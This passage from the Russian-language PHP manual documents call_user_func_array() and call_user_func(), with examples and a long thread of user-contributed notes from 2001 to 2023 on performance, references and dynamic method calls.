print "Hello {$name}!\n";
}
}

call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));

call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));

?>

Вывод приведённого примера будет похож на:

Hello Hannes!
Hello Philip!

Пример #3 Использование лямбда-функции

<?php

$func = function($arg1, $arg2) {
return $arg1 * $arg2;
};

var_dump(call_user_func_array($func, array(2, 4)));

?>

Результат выполнения приведённого примера:

int(8)

Пример #4 Передача значений по ссылке

<?php

function mega(&$a){
$a = 55;
echo "function mega \$a=$a\n";
}
$bar = 77;
call_user_func_array('mega',array(&$bar));
echo "global \$bar=$bar\n";

?>

Результат выполнения приведённого примера:

function mega $a=55
global $bar=55

Пример #5 Пример использования call_user_func_array() с именованными аргументами

<?php
function foobar($first, $second) {
echo __FUNCTION__, " получает $first и $second\n";
}

// Вызов функции foobar() с именованными аргументами в непозиционном порядке
call_user_func_array("foobar", array("second" => "two", "first" => "one"));

// Вызов функции foobar() с одним именованным аргументом
call_user_func_array("foobar", array("foo", "second" => "bar"));

// Неисправимая ошибка: Невозможно использовать позиционный аргумент после именованного аргумента
call_user_func_array("foobar", array("first" => "one", "bar"));

?>

Вывод приведённого примера будет похож на:

foobar получает one и two
foobar получает foo и bar

Fatal error: Uncaught Error: Cannot use positional argument after named argument

Примечания

Замечание:

Callback-функции, зарегистрированные такими функциями как call_user_func() и call_user_func_array(), не будут вызваны при наличии не пойманного исключения, брошенного в предыдущей callback-функции.

Смотрите также

  • call_user_func() - Вызывает callback-функцию, заданную в первом параметре
  • ReflectionFunction::invokeArgs() - Вызов функции с передачей аргументов
  • ReflectionMethod::invokeArgs() - Вызов метода с передачей аргументов массивом

User Contributed Notes

alangiderick at gmail dot com 10-Sep-2023 05:35
It's quite interesting reading the notes in this page especially the one that mentions the difference between argument unpacking being significantly faster than calling `call_user_func_array()` directly by admin at torntech dot com.

This is true for PHP 5 but as from PHP 7.0+, there is no significant difference in the run-time between these two mechanisms of operation. The time taken is almost, if not the same for both operations, so this is already something that tells me that the PHP run-time environment has changed quite a lot (for the PHP 7 rewrite).

I used the example from admin at torntech dot com to check this hypothesis.
sebastian dot rapetti at tim dot it 23-Mar-2021 08:01
Using PHP 8, call_user_func_array call callback function using named arguments if an array with keys is passed to $args parameter, if the array used has only values, arguments are passed positionally.

<?php

function test(string $param1, string $param2): void
{
    echo $param1.' '.$param2;
}

$args = ['hello', 'world'];
//hello world
call_user_func_array('test', $args);

$args = ['param2' => 'world', 'param1' => 'hello'];
//hello world
call_user_func_array('test', $args);

$args = ['unknown_param' => 'hello', 'param2' => 'world'];
//Fatal error: Uncaught Error: Unknown named parameter $unknown_param
call_user_func_array('test', $args);
?>
admin at torntech dot com 15-Jul-2015 02:06
As of PHP 5.6 you can utilize argument unpacking as an alternative to call_user_func_array, and is often 3 to 4 times faster.

<?php
function foo ($a, $b) {
     return $a + $b;
}

$func = 'foo';
$values = array(1, 2);
call_user_func_array($func, $values);
//returns 3

$func(...$values);
//returns 3
?>

Benchmarks from https://gist.github.com/nikic/6390366
cufa   with 0 args took 0.43453288078308
switch with 0 args took 0.24134302139282
unpack with 0 args took 0.12418699264526
cufa   with 5 args took 0.73408579826355
switch with 5 args took 0.49595499038696
unpack with 5 args took 0.18640494346619
cufa   with 100 args took 5.0327250957489
switch with 100 args took 5.291127204895
unpack with 100 args took 1.2362589836121
james at gogo dot co dot nz 21-Nov-2004 05:19
Be aware the call_user_func_array always returns by value, as demonstrated here...

<?php
    function &foo(&$a)
    {
      return $a;
    }

    $b = 2;
    $c =& call_user_func_array('foo', array(&$b));
    $c++;
    echo $b . ' ' . $c;
?>

outputs "2 3", rather than the expected "3 3".

Here is a function you can use in place of call_user_func_array which returns a reference to the result of the function call.

<?php
    function &ref_call_user_func_array($callable, $args)
    {
        if(is_scalar($callable))
        {
            // $callable is the name of a function
            $call = $callable;
        }
        else
        {
            if(is_object($callable[0]))
            {
                // $callable is an object and a method name
                $call = "\$callable[0]->{$callable[1]}";
            }
            else
            {
                // $callable is a class name and a static method
                $call = "{$callable[0]}::{$callable[1]}";
            }
        }

        // Note because the keys in $args might be strings
        // we do this in a slightly round about way.
        $argumentString = array();
        $argumentKeys = array_keys($args);
        foreach($argumentKeys as $argK)
        {
            $argumentString[] = "\$args[$argumentKeys[$argK]]";
        }
        $argumentString = implode($argumentString, ', ');
        // Note also that eval doesn't return references, so we
        // work around it in this way...
        eval("\$result =& {$call}({$argumentString});");
        return $result;
    }
?>


Вызывает callback-функцию, заданную в первом параметре

  • « call_user_func_array
  • create_function »
  • PHP Manual
  • Функции управления функциями
  • Вызывает callback-функцию, заданную в первом параметре

call_user_func

(PHP 4, PHP 5, PHP 7, PHP 8)

call_user_func — Вызывает callback-функцию, заданную в первом параметре

Описание

call_user_func(callable $callback, mixed ...$args): mixed

Вызывает callback-функцию, переданную первым параметром, и передаёт остальные параметры в качестве аргументов. callback.

Список параметров

callback

Вызываемая функция типа callable.

args

Ноль или более параметров, передаваемые в callback-функцию.

Замечание:

Учтите, что параметры для call_user_func() не передаются по ссылке.

Пример #1 Пример использования call_user_func() и ссылки

<?php
error_reporting(E_ALL);
function increment(&$var)
{
$var++;
}

$a = 0;
call_user_func('increment', $a);
echo $a."\n";

// Вместо этого можно использовать этот способ
call_user_func_array('increment', array(&$a));
echo $a."\n";

// Также можно использовать функцию в качестве переменной
$increment = 'increment';
$increment($a);
echo $a."\n";
?>

Результат выполнения приведённого примера:

Warning: Parameter 1 to increment() expected to be a reference, value given in ...
0
1
2

Возвращаемые значения

Возвращает значение, возвращённое callback-функцией.

Примеры

Пример #2 Пример использования call_user_func()

<?php
function barber($type)
{
echo "Вы хотели стрижку $type, без проблем\n";
}
call_user_func('barber', "под горшок");
call_user_func('barber', "наголо");
?>

Результат выполнения приведённого примера:

Вы хотели стрижку под горшок, без проблем
Вы хотели стрижку наголо, без проблем

Пример #3 Использование call_user_func(), используя пространства имён

<?php

namespace Foobar;

class Foo {
static public function test() {
print "Привет, мир!\n";
}
}

call_user_func(__NAMESPACE__ .'\Foo::test');
call_user_func(array(__NAMESPACE__ .'\Foo', 'test'));

?>

Результат выполнения приведённого примера:

Привет, мир!
Привет, мир!

Пример #4 Вызов метода класса с помощью call_user_func()

<?php

class myclass {
static function say_hello()
{
echo "Привет!\n";
}
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

Результат выполнения приведённого примера:

Привет!
Привет!
Привет!

Пример #5 Использование лямбда-функции с call_user_func()

<?php
call_user_func(function($arg) { print "[$arg]\n"; }, 'test');
?>

Результат выполнения приведённого примера:

[test]

Примечания

Замечание:

Callback-функции, зарегистрированные такими функциями как call_user_func() и call_user_func_array(), не будут вызваны при наличии не пойманного исключения, брошенного в предыдущей callback-функции.

Смотрите также

  • call_user_func_array() - Вызывает callback-функцию с массивом параметров
  • is_callable() - Проверяет, что значение может быть вызвано как функция в текущей области видимости
  • Обращение к функциям через переменные
  • ReflectionFunction::invoke() - Вызывает функцию
  • ReflectionMethod::invoke() - Вызов

User Contributed Notes

Anonymous 17-Mar-2021 06:09
In this just for test writing to the doc
James at enfsolar dot com 11-Dec-2019 12:08
<?php

class MyClass{

    public function hello($str)

    {

        echo 'hello ' . $str;

    }

}

$obj = new MyClass();

[$obj, 'hello']('World'); // the array can be called as a function
luciano_closs at hotmail dot com 13-Dec-2018 11:42
Actually, as PHP 7.0, when you want to call a static method, you must call:

<?php

namespace Foobar;

class Foo {
   static public some() {
      echo 'Hello World!';
   }
}

call_user_func( array( __NAMESPACE__ . '\\Foo', 'some' ) );

?>

This will output:

Hello World!
slinstj at gmail dot com 09-May-2018 02:00
Updating "insta at citiesunlimited dot com"'s benchmarking for PHP 7.1.17 we have an INVERSION of results between using variables and call_user_func():

// RESULTS

Variable functions took 0.0020599365234375 seconds.
call_user_func took 0.00094509124755859 seconds.
eval took 0.024421215057373 seconds.

So, call_user_func() is now actually the way to go in PHP 7.1+.

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
fab2s at marsatak dot org 02-Mar-2017 12:35
@insta at citiesunlimited dot com & @Maresa

call_user_func() alleged slowness is quite over estimated when it comes to real use cases. we are talking about loosing fraction of a second every million calls, which by the way would take less than half a sec to execute in the worst case.

I don't know of many processes that would actually suffer from this kind of overhead.

Iterations: 100 000
Averaged over: 10
PHP 5.6.30 (cli) (built: Jan 18 2017 19:47:28)
Overall Average
+------------------------+----------+-----------+--------+
| Invocation             | Time (s) | Delta (s) | %      |
+------------------------+----------+-----------+--------+
| directFunction         | 0.0089   | -0.0211   | -70.19 |
| directStatic           | 0.0098   | -0.0202   | -67.39 |
| directLambda           | 0.0109   | -0.0191   | -63.52 |
| directInstance         | 0.0116   | -0.0184   | -61.31 |
| directClosure          | 0.0150   | -0.0150   | -50.15 |
| Invoke                 | 0.0282   | -0.0018   | -6.13  |
| call_user_func         | 0.0300   |           |        |
| ClosureFactory         | 0.0316   | +0.0016   | +5.20  |
| assignedClosureFactory | 0.0328   | +0.0028   | +9.28  |
| call_user_func_array   | 0.0399   | +0.0099   | +33.02 |
| InvokeCallUserFunc     | 0.0418   | +0.0118   | +39.17 |
| directImplementation   | 0.0475   | +0.0175   | +58.28 |
+------------------------+----------+-----------+--------+

Iterations: 100 000
Averaged over: 10
PHP 7.1.2 (cli) (built: Feb 14 2017 21:24:45)
Overall Average
+------------------------+----------+-----------+--------+
| Invocation             | Time (s) | Delta (s) | %      |
+------------------------+----------+-----------+--------+
| directFunction         | 0.0043   | -0.0096   | -68.92 |
| directStatic           | 0.0050   | -0.0089   | -64.04 |
| directInstance         | 0.0058   | -0.0081   | -58.22 |
| directLambda           | 0.0063   | -0.0075   | -54.44 |
| directClosure          | 0.0081   | -0.0058   | -41.57 |
| call_user_func         | 0.0139   |           |        |
| call_user_func_array   | 0.0147   | +0.0008   | +5.84  |
| Invoke                 | 0.0187   | +0.0048   | +34.61 |
| ClosureFactory         | 0.0207   | +0.0069   | +49.43 |
| assignedClosureFactory | 0.0219   | +0.0080   | +57.75 |
| directImplementation   | 0.0232   | +0.0094   | +67.53 |
| InvokeCallUserFunc     | 0.0264   | +0.0126   | +90.67 |
+------------------------+----------+-----------+--------+

If you want more details : https://github.com/fab2s/call_user_func
fab2s at marsatak dot org 02-Mar-2017 12:18
The "Example #1 call_user_func() example and references" has become misleading since it will throw an exception starting from at least php 5.6.30:
<?php
//  Parameter 1 to increment() expected to be a reference, value given
?>

The crash occurs when call_user_func() is called as it does not provide increment() with a reference.

Also note that :

<?php
call_user_func('increment', &$a);
?>

will also  throw an exception :
<?php
// Call-time pass-by-reference has been removed
?>
developer at nabtron dot com 28-Dec-2016 11:30
We can achieve the same dynamically without call_user_func like this

<?php

class myclass {
    public function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

$myobject = new myclass();
$var = "say_hello";

(new myclass)->{$var}();
call_user_func(array(new myclass(), $var));
jcastro at eftec dot cl 07-Jun-2016 09:29
Lets say that $a1 is an object and fn is a function then:

echo $a1->fn('hello world');
echo $a1->{"fn"}('hello world');
echo call_user_func(array($a1, 'fn'),'hello world');

Are three valid ways to do the same.
blakerenton09 at yahoo dot com 06-Jun-2011 04:45
call_user_func may also be used to call a closure or anonymous function that has been passed into a user-defined function.

<?php
function Benchmark()
{
    foreach(func_get_args() as $function)
    {
        $st = microtime(true);
        call_user_func($function);
        $et = microtime(true);
        echo sprintf("Time: %f", $et - $st) . '<br />';
    }
}

Benchmark(function()
{
    for ( $i = 0; $i <= 10000; $i++ )
    { }
},
function()
{
    $i = 0;
    while ( $i <= 10000 )
    {
        $i++;
    }
});
?>

Returns:
Time: 0.001652
Time: 0.001458
romainbessuges at gmail dot com 09-May-2011 05:50
I made a wrapper for call_user_func_array which is really simple and convenient. It takes advantage of the __invoke() magic method :

<?php
class Func {

    public static function fromFunction($name){
        return new Func($name);
    }

    public static function fromClassMethod($class, $name){
        return new Func(array($class, $name));
    }

    public static function fromObjectMethod($object, $name){
        return new Func(array($object, $name));
    }

    public $function;

    public function  __construct($function) {
        $this->function = $function;
    }

    public function __invoke(){
        return call_user_func_array($this->function, func_get_args());
    }
}
?>

Example :

<?php
$func = Func::fromObjectMethod($myArrayObject, "offsetGet");

echo $func(3);
?>
gskluzacek dot nospam at gmail dot com 11-Sep-2010 10:38
if you simply want to dynamically call a method on an object it is not necessary to use call_user_function but instead you can do the following:

<?php

$method_name = "AMethodName";

$obj = new ClassName();

$obj->{$method_name}();

?>

I've used the above so I know it works.

Regards,
-- Greg
moisadoru at gmail dot com 13-May-2010 08:49
Actually, when calling a static method of some class, the params are sent by reference:
<?php
class Foo {
    private $x = 0;
    public function getX(){
        return $this->x;
    }
    public function setX($val){
        $this->x = $val;
    }
}

class Bar {
    static function incStatic(Foo $f){
        $f->setX($f->getX()+1);
        global $foo;
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
    public function incNonStatic(Foo $f){
        $f->setX($f->getX()+1);
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
}

function inc(Foo $f){
    $f->setX($f->getX()+1);
    if($f === $foo) echo '<span style="color: blue">' . __FUNCTION__ . '() objects are equal</span><br />';
    else  echo '<span style="color: red">' . __FUNCTION__ . '() objects are not equal</span><br />';
}

$foo = new Foo;
$bar = new Bar;

call_user_func('inc', $foo);
call_user_func('Bar::incStatic', $foo);
call_user_func(array($bar, 'incNonStatic'), $foo);
?>

The results on PHP 5.2.6 (macosx 10.5):

inc() objects are not equal
Bar::incStatic() objects are equal
Bar::incNonStatic() objects are not equal

Hope it helps sombody.
Nitrogen 04-Oct-2009 04:08
A good use for call_user_func(); is for recursive functions.
If you're distributing code, you will often come across users who will rename functions and break the code..
Use this: call_user_func(__FUNCTION__, ... ); inside a function to call itself with whatever parameters you want.

<?php
// example, an extremely simplified factorial calculator..
// it's quite obvious when someone renames the function, it'll spit out an error because it wants to call itself.
function Factorial($i=1) {
  return($i==1?1:$i*Factorial($i-1));
}

// you can give this function whatever name you want, it'll always work, of course if you initially call it using the name you gave it.
function qwertyuiop($i=1) {
  return($i==1?1:$i*call_user_func(__FUNCTION__,$i-1));
}
?>

Just that I didn't see any reference to recursive functions when user_call_func(); really helps.
edgar dot klerks at gmail dot com 17-Mar-2009 07:18
An entirely OO solution to add dynamicly methods to classes, I used in a project:
<?php
class ProductPart {

        protected $data;
        protected $plugins = array();
        function __construct($data){

                $this->data = $data;

        }
        public function register(ProductPlugin $plugin){

                if(!in_array($plugin, $this->plugins)){

                        $this->plugins[$plugin->toString()] = $plugin;
                } else {
                        throw new Exception('Function allready defined');
                }
        }
        public function unregister(ProductPlugin $plugin){
                if(isset($this->plugins[$plugin->toString()])){
                        unset($this->plugins[$plugin->toString()]);
                } else {
                        throw new Exception('No such function');
                }

        }

        protected function __call($method, $args) {
              if(isset($this->plugins[$method])){
                array_unshift(&$args, $this->data);
                array_unshift(&$args, $this);
                return $this->plugins[$method]->run($args[0], $args[1], $args[2]);

              } else {
                throw new Exception('No such function');
              }
        }
} ?>

I simplified the class somewhat for clearity.

With this class, you can dynamicly add and remove classes by calling register or unregister. Register will store the object in an associative array by calling toString (as defined by ProductPlugin) and saving the method under the returned string in the array. (In this case the name of the method the class adds.)

When a method is called, which isn't standard in the object, _call will lookup the called method in the array. If found, __call run the method of the plugin with the provided arguments. I restricted the user provided argument to 1, because I want to force the user to use associative arrays.

Because I chose an array to store my classes, removing a function is quite simple. However the unregister function isn't optimal, I better pass a string instead of a plugin object. I didn't test it yet on performance.

The ProductPlugin class:

<?php

abstract class ProductPlugin {
        protected $name = null;
        abstract public function run($obj, $data, $args);
        public function __construct($data = null) {

                if($this->name === null){
                        throw new Exception('Name must be defined');
                }
                $this->init($data);
        }
        protected function init($data){

        }
        public function toString(){
                return $this->name;
        }
}

?>

And at last some demonstration code:

<?php
$bla = new ProductPart(array('HelloWorld' => 'Hello world'));
$hello = new helloPlugin();
$bla->register($hello);
$bla->HelloWorld();
$bla->unregister($hello);
$bla->HelloWorld();

?>
dead,screamer@seznam,cz 21-Dec-2008 08:50
<?php call_user_func()?> and <?php call_user_func_array()?> hide some errors (notices, warnings and maybe errors), even if is display_errors turned on and error_Reporting is set to E_ALL|E_STRICT
Maxdamantus 03-Nov-2007 10:26
Note that the parser can interpret variables in function syntax, which means you can pass all variables normally (eg: reference).

<?php
function myfunction($string, &$int){
    echo $string."\n";
    $int++;
}
$function_name = "myfunction";
$x = 1336;
$function_name("Hello World", $x);
echo $x;
?>
---
Hello World
1337
Knightnet 07-Sep-2007 05:31
You don't need to use this function to call a variable class function. Instead you can do the following:

$this->{$fnname}();

The example works in PHP 5 from within the class. It is the {} that do the trick.

Regards,
Julian.
Typer85 at gmail dot com 12-Sep-2006 03:57
I would just like to say at first that I prefer variable function calls over the use of this function.

However I found that at some times, the use of this function is needed in situtations where variable function calls can not be used. And in those same situations, the use of this function is also better than using eval.

The situation I ran into is this:

I wanted to call object methods dynamically from within the object but with arguments given for possible parameters that the method I will call requires.

The parameters themselves are dynamic, meaning I have no prior knowledge of how many their are, their values, or if they even exist.

Also because object methods are dynamic, meaning I have no prior knowledge which object method will actually be called, I can not simply use variable function calls, call the method and pass any parameters.

So what I simply do is call the object method with an array of parameters, something that, to the best of my knowledge, can not be done with variable function calls, since variable function calls, even though they themeselves are dynamic, passing parameters to them is not.
rlansky at webroot dot com 14-Jul-2006 04:17
Based on the previous posts, it appears that using call_user_func can be serveral times slower than using variable substitution. I think these results are somewhat misleading.

I set up a similar test in which a static method of an object was called repeatedly in a loop. I got similar results to those seen; when calling the method using call_user_func the execution was twice that of calling the method directly. However, I then started adding some "meat" to the method in question. In my case, I found that what was constant was not the percentage change, but rather that there is a fixed cost to using call_user_func.

In my case, this fixed cost was 2 microseconds per call. When executing a method that performs no operations, this is a large percentage of the execution time for that method. However, when using this on a method that actually performs some work, the 2 microsecond cost is almost impossible to measure.

It seems to me that if you want to use call_user_func to call a very fast executing method, and you need to do this thousands of times, then you may want to reconsider. However, if you are using this to call methods that are not executed thousands of times, the small fixed cost of using php call_user_func is probably not an issue.
Maresa 13-Apr-2006 03:41
I tested the same code that insta at citiesunlimited dot com pasted on the following machines:

www1 machine:
OS:  FreeBSD 5.2.1-RELEASE
CPU: 2 x Intel(R) Xeon(TM) CPU 2.66GHz (2657.82-MHz 686-class CPU) with Hyperthreading
MEM: 1073217536 (1023 MB)
PHP 5.1.2 (cli)
PHP 4.4.1 (Web)

www2 machine:
OS:  Linux version 2.6.14-gentoo-r5 Gentoo 3.4.3-r1, ssp-3.4.3-0, pie-8.7.7)
CPU: 2 x Dual Core AMD Opteron(tm) Processor 265 stepping 02 1808.357 MHz
MEM: 2060388k total
PHP 5.1.2 (cli)
PHP Version 4.4.0-pl1-gentoo (web)

dev machine:
OS:  Linux version 2.6.15-gentoo-r1 Gentoo 3.3.5.20050130-r1, ssp-3.3.5.20050130-1, pie-8.7.7.1
CPU: Intel(R) Pentium(R) 4 CPU 2.00GHz stepping 04
MEM: 516384k total,
PHP 4.4.0-pl1-gentoo (cli)
PHP Version 4.4.0-pl1-gentoo (web)

The result are as follows:

www1 - CLI
Variable functions took 0.012186050415 seconds.
call_user_func took 0.0300550460815 seconds.
eval took 0.17235994339 seconds.

www1 - Web
Variable functions took 0.017616 seconds.
call_user_func took 0.034926 seconds.
eval took 0.149618 seconds

www2 - CLI
Variable functions took 0.0065491199493408 seconds.
call_user_func took 0.019452095031738 seconds.
eval took 0.10734891891479 seconds.

www2 - Web
Variable functions took 0.01565 seconds.
call_user_func took 0.02613 seconds.
eval took 0.132258 seconds.

dev - CLI
Variable functions took 0.025176 seconds.
call_user_func took 0.047402 seconds.
eval took 0.168196 seconds.

dev - Web
Variable functions took 0.025465 seconds.
call_user_func took 0.049713 seconds.
eval took 0.20154 seconds.

On www1 - CLI, eval is about 14 times slower than calling function by using variable.
On www1 - Web, eval is about 8.5 times slower (hmm interesting. Perhaps PHP4 is faster calculating eval than PHP5)

On www2 - CLI, eval is about 16 times slower than calling function by using variable.
On www2 - Web, eval is about 8.5 times slower (about same result as www1)

On dev - CLI, eval is about 6.6 times slower than calling function by using variable.
On dev - Web, eval is about 8 times slower (about same result as www1)

On the dev machine, CLI and web version of PHP is the same. and their speed difference between calling function using variable or eval does not differ that much compare to PHP5 VS PHP5
insta at citiesunlimited dot com 06-Feb-2006 12:15
I benchmarked the comparison in speed between variable functions, call_user_func, and eval.  My results are below:

Variable functions took 0.125958204269 seconds.
call_user_func took 0.485446929932 seconds.
eval took 2.78526711464 seconds.

This was run on a Compaq Proliant server, 180MHz Pentium Pro 256MB RAM.  Code is as follows:

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
Marco 05-Oct-2005 01:42
>phil at gettcomm dot com
>22-May-2002 04:51
>if you need to get a reference back from a method, you can work around
>call_user_func()'s shortcomings like this:
>
Naaa! Having back a reference is a real problem, but it can be solved by mean of eval(), instead of using call_user_func:

<?php
  class Node {
    var $name;
    var $child;
    function Node ( $name ) { $this->name = $name; }
    function &getChild () { return $this->child; }
  }
  $p = new Node ( 'Father' );
  $c = new Node ( 'Child' );
  $p->child = &$c;

  eval ( "\\$cref = &\\$p->getChild ();" );
  $cref->name = 'Another Child';

  // Prints out 'Another Child'
  echo "****** After eval c = " . $c->name . "\\n\\n";

?>
info at webseiteselberpflegen dot de 18-May-2005 01:00
It seems like call_user_func() can not be used to create Objects via the new Command.

The Following example dosen't work:

<?php
  include_once(class_".$type.".php");
  $object = new call_user_func ('bdv_'.$type);
?>

But this works:

<?php
    include_once(class_".$type.".php");
    $constr = 'bdv_'.$type;
    $object = new $constr();
?>
24-Feb-2005 07:46
<?php
/*
    A very simple event handler dispose and change the latest one I did
*/

class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke = null )
    {
        if( $pDuke == null )
        {
            call_user_func( array( &$this, "OnEventHandler" ), $this, null );
            return;
        }

        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );

    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

//////////////////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "OnEventHandler", null );

$b ->OnEvent();
$b ->OnEvent( $pDuke );
?>
zxy at estec-jp dot com 24-Feb-2005 02:57
A simple event handler dispose released by useful callback in PHP 4.x

<?php
class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke )
    {
        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );
    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

///////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "SayHello", null );
$b ->OnEvent( $pDuke );
?>
arjini at mac dot com 29-Mar-2004 05:04
Some of the wierder examples below confused me, and made me think that the following would work (but it does!).

<?php

class barber{
    function shop($one,$two,$three,$four='quartet'){
        echo $one.','.$two.','.$three.','.$four;
    }
}

$bsq = new barber;
call_user_func(array(&$bsq,'shop'),'one','two','three');

/* Output = one,two,three,quartet */

class bigBarber{
    var $quartet;
    function bigBarber(){
        $this->quartet = 'four';
    }
    function shop($one,$two,$three,$five='quintet'){
        echo $one.','.$two.','.$three.','.$this->quartet.','.$five;
    }
}

$bbsq = new bigBarber();
call_user_func(array(&$bbsq,'shop'),'one','two','three');

/* Output = one,two,three,four,quintet */

?>
Kris Koskelin 22-Jan-2004 03:21
I was trying to use this function to call a method of an already-instantiated object.  I needed to do this with the object itself, not simply call the class' method.

To accomplish this, I really avoided this particular function altogether like this:

<?php
if ( method_exists($my_obj, $action) ){
     return $my_obj->{$action}();
}
?>

I hope someone else finds this useful.  Note that doing this allows you to pass params to the function more-or-less in the same way you would to any other class method.
Michele.Manzato at verona.miz.it 29-Sep-2003 08:49
With overload()ed classes call_user_func_* calls real class methods only. If the method does not exist then PHP does not try with the "__call()" magic method (at least until PHP 4.3.3). See this:

<?php
class A
{
    function A() {}

    function __call($method, $args, &$ret) {
        echo "__call(): You called '{$method}()'<br>\n";
        return true;
    }

    function regular() {
        echo "You called 'regular()'<br>\n";
    }
};
overload("A");

$a = new A;

$a->regular();                          // Works, calls regular()
call_user_func(array(&$a, "regular"));  // Works, calls regular()

$a->hello();                            // Works, calls __call()
call_user_func(array(&$a, "hello"));    // Does NOT work!
?>
Carl 28-Jul-2003 11:53
I had a problem where I wanted to parameterize a callback. The end called was in an external class, but I needed to save some state for the callback that didn't make sense to keep in the original object, as it might change from call to call...

<?php
class foo
{
    function foo()
    {
        $str = "Hello There";

        $str2 = "Carl";

        $that =& new holder($str);

        call_user_func(array(&$that, 'callback'), $str2);
    }
}

class holder
{
    function holder($aParam)
    {
        $this->param = $aParam;
    }

    function callback($aStr)
    {
        echo "A=$this->param, B=$aStr\n";
    }
}
?>
dougqh at hotmail dot com 07-Mar-2002 05:16
The previous note I posted had an error in the source code.  That has been corrected in this note.

Note, that returning by reference does not work properly when the function
is called using call_user_func.

This example illustrates the problem...

<?php
$globalVar = 0;

function &staticFunction()
{
   global $globalVar;

   return $globalVar;
}

$result =& call_user_func( "staticFunction" );

$result = 3;

print "result:" . $result . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";

$result2 =& staticFunction();

$result2 = 3;

print "result2: " . $result2 . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";
?>

The above code results in the following output ...
Note that $result is not a reference to $globalVar.

result:0
globalVar: 0
result2: 3
globalVar: 3

Also, the use of call_user_method is now deprecated in favor of passing
array( &$object, $method ) as the function to call_user_func.  This is
reported when error reporting is set to E_ALL in the latest versions of
PHP.
danyloco at yahoo dot com 17-Jul-2001 04:31
I was trying to call multiple functions within a class, and after a brain frying experience this is what came out... hope it helps:

<?php
class Foo {
 function hey1($id){echo "In hey1";}
 function hey2($id){echo "In hey2";}
 #... and so forth ...
 function runtest($id) {
   #the fun part :)
   for($i=1; $i<=2; $i++) {
     $fp = "hey".$i;
     $this->$fp($id);
}
}
}
?>

It worked like a charm :).


Создаёт функцию динамически, оценивая строку кода

  • « call_user_func
  • forward_static_call_array »
  • PHP Manual
  • Функции управления функциями
